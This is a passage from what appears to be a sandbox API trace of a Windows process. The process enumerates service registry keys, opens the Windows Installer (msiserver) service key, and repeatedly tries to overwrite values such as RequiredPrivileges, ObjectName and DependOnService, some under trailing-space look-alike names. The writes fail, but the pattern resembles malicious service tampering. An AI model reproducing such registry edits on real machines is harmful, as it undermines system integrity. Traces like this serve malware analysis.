dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0211.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0211.739] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0211.739] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0211.739] RegCloseKey (hKey=0xc4) returned 0x0 [0211.739] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0211.739] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0211.739] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0211.740] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0211.740] RegCloseKey (hKey=0x80000002) returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0211.740] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0211.740] RegCloseKey (hKey=0x148) returned 0x0 [0211.740] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0211.741] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0211.741] RegCloseKey (hKey=0xc4) returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0211.741] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0211.743] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.743] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.743] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.743] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.743] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.743] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.743] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0211.744] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0211.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0211.744] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0x1) returned 0x6 [0211.744] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0211.744] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.745] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0211.746] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0xc) returned 0x6 [0211.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0211.746] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0x1) returned 0x6 [0211.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.746] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0211.747] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f18e0, cbData=0x6) returned 0x6 [0211.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.747] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f18e0, cbData=0x1) returned 0x6 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.747] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0211.748] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0211.748] RegSetValueExA 